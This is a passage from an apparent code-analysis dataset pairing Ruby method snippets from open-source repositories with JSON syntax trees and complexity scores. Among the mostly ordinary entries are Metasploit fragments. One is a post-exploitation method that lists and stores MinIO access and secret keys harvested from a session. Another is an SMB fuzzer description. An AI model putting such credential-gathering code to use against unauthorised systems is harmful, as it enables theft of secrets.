prefix_id id\\n\"]},{\"type\":\"str\",\"children\":[\" FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"thread_prefix\\n\"]},{\"type\":\"str\",\"children\":[\" ORDER BY prefix_id ASC\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},\"to_a\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_categories\",{\"type\":\"lvar\",\"children\":[\"categories\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Category-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@prefix_as_category\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"7bb25fc5-fd45-493d-8e0d-fc20078c55a4"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/authorized_keys_worker.rb","start_line":16,"raw_source":"def perform(action, *args)\n return unless Gitlab::CurrentSettings.authorized_keys_enabled?\n\n case action\n when 'add_key' then authorized_keys.add_key(*args)\n when 'remove_key' then authorized_keys.remove_key(*args)\n else raise \"Unknown action: #{action.inspect}\"\n end\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"authorized_keys_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"add_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized_keys\"]},\"add_key\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"remove_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized_keys\"]},\"remove_key\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown action: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"inspect\"]}]}]}]}]}]}]}","id":"f49e98a8-e1ad-407c-beb1-890b65b05fe3"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":429,"raw_source":"def test_eager_load_has_many_through_has_many\n author = Author.all.merge!(where: [\"name = ?\", \"David\"], includes: :comments, order: \"comments.id\").first\n SpecialComment.new; VerySpecialComment.new\n assert_no_queries do\n assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10, 12, 13], author.comments.collect(&:id)\n end\n end","complexity_score":17.58,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_load_has_many_through_has_many\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name = ?\"]},{\"type\":\"str\",\"children\":[\"David\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"comments\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"str\",\"children\":[\"comments.id\"]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpecialComment\"]},\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VerySpecialComment\"]},\"new\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[9]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[13]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"comments\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"a96df61b-0b91-4d11-bcae-a7aee2dcfa72"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/instance.rb","start_line":720,"raw_source":"def register_javascript(js)\n javascripts << js\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"register_javascript\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"js\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"javascripts\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"js\"]}]}]}","id":"863ed017-2257-4391-965d-2bebd05d3376"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/journal_formatter/project_status_code.rb","start_line":42,"raw_source":"def status_code_key_for(value)\n Project.status_codes.key(value)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"status_code_key_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"status_codes\"]},\"key\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"001dcdfd-ac45-4780-95a2-b7cf857ad1ca"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/capture/storage.rb","start_line":42,"raw_source":"def connector_settings\n Settings.database_traffic_capture.config.storage.connector\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"connector_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"database_traffic_capture\"]},\"config\"]},\"storage\"]},\"connector\"]}]}","id":"8f65a186-248f-4aa6-b7e2-511b34e4040f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/minio_client.rb","start_line":60,"raw_source":"def print_and_save(all_result)\n columns = [\n 'name',\n 'url',\n 'accessKey',\n 'secretKey',\n 'api',\n 'path',\n ]\n tbl = Rex::Text::Table.new(\n 'Header' => 'MinIO Client Key',\n 'Columns' => columns\n )\n\n all_result.each do |name, item|\n row = [name, item['url'], item['accessKey'], item['secretKey'], item['api'], item['path']]\n tbl << row\n end\n\n print_line(tbl.to_s)\n if tbl.rows.count > 0\n path = store_loot('host.minio', 'text/plain', session, tbl, 'minio_client.txt', 'MinIO Client Key')\n print_good(\"Session info stored in: #{path}\")\n end\n end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"print_and_save\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"all_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"accessKey\"]},{\"type\":\"str\",\"children\":[\"secretKey\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tbl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"MinIO Client Key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_result\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"accessKey\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"secretKey\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"api\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"rows\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"host.minio\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"tbl\"]},{\"type\":\"str\",\"children\":[\"minio_client.txt\"]},{\"type\":\"str\",\"children\":[\"MinIO Client Key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Session info stored in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},null]}]}]}","id":"43f1962b-cccc-4c00-842c-a98dc9438636"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/numbered_parameter_assignment.rb","start_line":35,"raw_source":"def on_lvasgn(node)\n return unless /\\A_(\\d+)\\z/ =~ node.name\n\n number = Regexp.last_match(1).to_i\n template = NUMBERED_PARAMETER_RANGE.include?(number) ? NUM_PARAM_MSG : LVAR_MSG\n\n add_offense(node, message: format(template, number: number))\n end","complexity_score":10.75,"ast_json":"{\"type\":\"def\",\"children\":[\"on_lvasgn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A_(\\\\d+)\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"number\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NUMBERED_PARAMETER_RANGE\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"number\"]}]},{\"type\":\"const\",\"children\":[null,\"NUM_PARAM_MSG\"]},{\"type\":\"const\",\"children\":[null,\"LVAR_MSG\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}]}]}]}]}]}]}","id":"2a934575-4c64-4273-a13e-d88397d03f86"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/report/sums_table.rb","start_line":59,"raw_source":"def sums_table_column_widths\n widths = sums_columns_objects.map do |col|\n col.name == :subject || text_column?(col) ? 4.0 : 1.0\n end\n widths.unshift 1.0\n ratio = pdf.bounds.width / widths.sum\n widths.map { |w| w * ratio }\n end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sums_table_column_widths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"widths\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sums_columns_objects\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},{\"type\":\"send\",\"children\":[null,\"text_column?\",{\"type\":\"lvar\",\"children\":[\"col\"]}]}]},{\"type\":\"float\",\"children\":[4.0]},{\"type\":\"float\",\"children\":[1.0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widths\"]},\"unshift\",{\"type\":\"float\",\"children\":[1.0]}]},{\"type\":\"lvasgn\",\"children\":[\"ratio\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"bounds\"]},\"width\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widths\"]},\"sum\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widths\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"ratio\"]}]}]}]}]}","id":"40cce4fc-f866-4786-a49b-2bddc24399ce"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/gestioip_exec.rb","start_line":64,"raw_source":"def user\n datastore['HttpUsername']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]}]}","id":"4b043671-6857-4181-a823-dcaf687414d4"} {"repo_name":"forem","file_path":"./repos/forem/app/models/user.rb","start_line":672,"raw_source":"def has_no_published_content?\n articles.published.from_subforem.empty? && comments_count.zero?\n end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_published_content?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"articles\"]},\"published\"]},\"from_subforem\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comments_count\"]},\"zero?\"]}]}]}","id":"65aae6d7-1cf3-40d7-a2ee-1e61e100a9e4"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/ci/abort_pipelines_service_spec.rb","start_line":24,"raw_source":"def expect_correct_pipeline_cancellations\n expect(cancelable_pipeline.finished_at).not_to be_nil\n expect(cancelable_pipeline).to be_failed\n\n expect(manual_pipeline.finished_at).not_to be_nil\n expect(manual_pipeline).to be_failed\n end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_correct_pipeline_cancellations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cancelable_pipeline\"]},\"finished_at\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"cancelable_pipeline\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_failed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"manual_pipeline\"]},\"finished_at\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"manual_pipeline\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_failed\"]}]}]}]}","id":"4f4524a5-5be2-48ac-8e0a-0d8a4055683b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'SMB Tree Connect Request Fuzzer',\n 'Description' => %q{\n This module sends a series of SMB tree connect\n requests using malicious strings.\n },\n 'Author' => [ 'hdm' ],\n 'License' => MSF_LICENSE,\n 'Notes' => {\n 'Stability' => [CRASH_SERVICE_DOWN],\n 'SideEffects' => [],\n 'Reliability' => []\n }\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SMB Tree Connect Request Fuzzer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module sends a series of SMB tree connect\\n\"]},{\"type\":\"str\",\"children\":[\" requests using malicious strings.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"b9f54729-2595-4a09-aa2d-a7c7719c959b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/deduplicate_lfs_objects_projects.rb","start_line":16,"raw_source":"def perform\n each_sub_batch do |relation|\n data = duplicates_by_project_id_and_lfs_object_id(relation)\n\n next if data.empty?\n\n # After plucking the duplicates, build a VALUE list\n id_list = Arel::Nodes::ValuesList.new(data).to_sql\n\n # Use the same GROUP BY query as in the MR to properly narrow down the duplicated records.\n # In the previous query we didn't include the repository_type because it is not covered with an index.\n subquery = LfsObjectsProject\n .where(\"(project_id, lfs_object_id) IN (#{id_list})\") # rubocop:disable GitlabSecurity/SqlInjection -- there is no user input given\n .select('project_id, lfs_object_id, repository_type, MAX(id) AS max_id')\n .group('project_id, lfs_object_id, repository_type')\n .having('COUNT(*) > 1')\n\n join_query = <<~SQL.squish\n INNER JOIN (#{subquery.to_sql}) AS duplicates\n ON lfs_objects_projects.project_id = duplicates.project_id\n AND lfs_objects_projects.lfs_object_id = duplicates.lfs_object_id\n AND lfs_objects_projects.repository_type IS NOT DISTINCT FROM duplicates.repository_type\n SQL\n\n duplicated_lfs_objects_projects = LfsObjectsProject.joins(join_query).where.not(\n 'lfs_objects_projects.id = duplicates.max_id'\n )\n\n LfsObjectsProject.where(id: duplicated_lfs_objects_projects.select(:id)).delete_all\n end\n end","complexity_score":31.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"duplicates_by_project_id_and_lfs_object_id\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"id_list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"ValuesList\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"to_sql\"]}]},{\"type\":\"lvasgn\",\"children\":[\"subquery\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsObjectsProject\"]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(project_id, lfs_object_id) IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_list\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},\"select\",{\"type\":\"str\",\"children\":[\"project_id, lfs_object_id, repository_type, MAX(id) AS max_id\"]}]},\"group\",{\"type\":\"str\",\"children\":[\"project_id, lfs_object_id, repository_type\"]}]},\"having\",{\"type\":\"str\",\"children\":[\"COUNT(*) > 1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"join_query\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INNER JOIN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subquery\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\") AS duplicates\\n\"]},{\"type\":\"str\",\"children\":[\"ON lfs_objects_projects.project_id = duplicates.project_id\\n\"]},{\"type\":\"str\",\"children\":[\"AND lfs_objects_projects.lfs_object_id = duplicates.lfs_object_id\\n\"]},{\"type\":\"str\",\"children\":[\"AND lfs_objects_projects.repository_type IS NOT DISTINCT FROM duplicates.repository_type\\n\"]}]},\"squish\"]}]},{\"type\":\"lvasgn\",\"children\":[\"duplicated_lfs_objects_projects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsObjectsProject\"]},\"joins\",{\"type\":\"lvar\",\"children\":[\"join_query\"]}]},\"where\"]},\"not\",{\"type\":\"str\",\"children\":[\"lfs_objects_projects.id = duplicates.max_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsObjectsProject\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicated_lfs_objects_projects\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},\"delete_all\"]}]}]}]}","id":"89fb07a7-9b28-4a2e-a329-b8dda123ea35"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/batch_destroy_dependent_associations.rb","start_line":18,"raw_source":"def dependent_associations_to_destroy\n self.class.reflect_on_all_associations(:has_many).select { |assoc| assoc.options[:dependent] == :destroy }\n end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"dependent_associations_to_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"reflect_on_all_associations\",{\"type\":\"sym\",\"children\":[\"has_many\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"assoc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assoc\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dependent\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}","id":"43311ce5-a828-40af-aeab-e80eb91f242b"} {"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/form_options_helper.rb","start_line":198,"raw_source":"def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})\n Tags::CollectionSelect.new(object, method, self, collection, value_method, text_method, options, html_options).render\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"collection_select\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"collection\"]},{\"type\":\"arg\",\"children\":[\"value_method\"]},{\"type\":\"arg\",\"children\":[\"text_method\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"html_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tags\"]},\"CollectionSelect\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"collection\"]},{\"type\":\"lvar\",\"children\":[\"value_method\"]},{\"type\":\"lvar\",\"children\":[\"text_method\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\